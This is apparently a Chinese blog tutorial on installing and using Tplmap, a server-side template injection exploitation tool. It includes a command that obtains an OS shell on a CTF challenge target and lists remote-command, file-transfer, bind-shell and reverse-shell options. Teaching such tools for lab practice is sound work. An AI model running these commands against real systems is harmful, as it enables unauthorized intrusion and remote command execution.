当前位置:首页 > 未分类 > 正文内容

Tplmap 使用

admin3年前 (2023-02-25)未分类522

工具简介

Tplmap 是一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

工具环境

  • Windows

  • Linux

Linux 下安装

在 kali 终端输入

git clone https://github.com/epinna/tplmap

如果没有 git 命令,则需要安装:

sudo apt-get install git

等待安装好后即可使用 git 了

Windows 下安装

可以直接打开 GitHub 地址来下载

https://github.com/epinna/tplmap

同样也可以使用 git 命令

git clone https://github.com/epinna/tplmap

目录内容如下

使用说明

需要在 python3 的环境下使用

在 tplmap 目录下有一个名为requirements.txt的文件,内容如下

PyYAML==5.1.2
certifi==2018.10.15
chardet==3.0.4
idna==2.8
requests==2.22.0
urllib3==1.24.1
wsgiref==0.1.2

以上就是 tplmap 所需要的库,该文本中标出了库名和版本号,我们可以使用 pip 命令来进行安装

进入 tplmap 的目录,用如下指令安装

pip install -r requirements.txt

典型用法

例:qsnctf 的一道 web 题目

https://www.qsnctf.com/challenges#Flask1-151

使用以下命令可以拿到 shell

python3 tplmap.py -u http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/? name=1 --os-shell

各个参数的意思

Usage: python tplmap.py [options]

选项:
 -h, --help          显示帮助并退出

目标:
 -u URL, --url=URL   目标 URL
 -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)

请求:
 -d DATA, --data=..  通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
 -H HEADERS, --he..  附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头
 -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
 -A USER_AGENT, -..  HTTP User-Agent 标头的值
 --proxy=PROXY       使用代理连接到目标URL

检测:
 --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)
 -e ENGINE, --eng..  强制将后端模板引擎设置为此值
 -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT

操作系统访问:
 --os-cmd=OS_CMD     执行操作系统命令
 --os-shell          提示交互式操作系统Shell
 --upload=UPLOAD     上传本地文件到远程主机
 --force-overwrite   上传时强制覆盖文件
 --download=DOWNL..  下载远程文件到本地主机
 --bind-shell=BIN..  在目标的TCP端口上生成系统Shell并连接到它
 --reverse-shell=..  运行系统Shell并反向连接到本地主机端口

模板检查:
 --tpl-shell         在模板引擎上提示交互式Shell
 --tpl-code=TPL_C..  在模板引擎中注入代码

常规:
 --force-level=FO..  强制将测试级别设置为此值
 --injection-tag=..  使用字符串作为注入标签 (default '*')

遇到的问题

C:\Users\xiniyi\Desktop\tplmap-master\tplmap-master
λ python3 tplmap.py -u 'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/ ?name=11 *'--os-shell
Tplmap 0.5
   Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'name' is injectable
Smarty plugin is testing rendering with tag '*'
Exiting: No connection adapters were found for "'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/"

解决办法:将 url 所带的引号去掉

工具归属

项目地址:https://github.com/epinna/tplmap


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=62

分享给朋友:

“Tplmap 使用” 的相关文章

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

每每到了学校有活动,需要播放歌曲时,QQ 就多几个好友,消息又 99+,不消问什么事情,就知道是找我剪辑歌曲的同学了。怎么说,我这人对别人提出的需求,都尽力去帮助的,在剪辑音乐这事情上,从没拒绝过,但年复一年,每次剪辑音乐其实很简单,但是量多,就比较影响自己时间了,我又不会拒绝别人,很是尴尬,所以在...

小讲堂心得

小讲堂心得

参加小讲堂活动,是受邀两位学习部的同学十分热情的邀请,为同学们讲讲网络安全方面的知识。我感到十分荣幸,但又有些许担忧,怕讲不好,因为网络安全这个学科涉及的知识面十分宽泛,网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理...

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

一、熟悉 sqlmap 之路:核心注入场景与方法1. Sqlmap 之 Post 注入Post 注入适用于表单提交(如登录页、数据提交页)等场景,核心是通过抓取 Post 请求数据进行注入测试,以下为 4 种常用方法:方法一:基于请求文件(-r 参数)# 基础用法(请求文件与sqlmap同目录)sq...

(原创) 校园卡破解系列之内网渗透提权校园卡服务器 [内网渗透][服务器提权][渗透内网]

(原创) 校园卡破解系列之内网渗透提权校园卡服务器 [内网渗透][服务器提权][渗透内网]

一、渗透背景与环境准备1. 时间与环境渗透时间:上午大课间(仅十几分钟完成)操作设备:班级 XP 系统电脑(性能有限,需选择轻量工具)内网 IP:本地 IP 为172.18.33.38,扫描网段定为172.18.32.0-172.18.33.02. 工具选择优先工具:Kali 的 MSF 模块(可直...

(原创)Powershell And Metasploit (上)

(原创)Powershell And Metasploit (上)

00x01 #题外话作者: 墨 (X_Al3r)即刻安全:www.secist.com十三年社团:www.klmyssn.com一篇不知道该用什么名字的文章!00x02 #什么是 PowershellPowerShell 一般指 Windows Power ShellPowershell 是 Mic...

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

在 PHP 安全中,文件包含漏洞是危害严重的漏洞!本文不再讲解基础概念,直接进入实战环节。一、文件包含漏洞挖掘要点核心关键字:require()、require_once()、include()、include_once()(注意:函数名中括号与参数间存在空格,效果相同);本次实战对象:CMS 系统...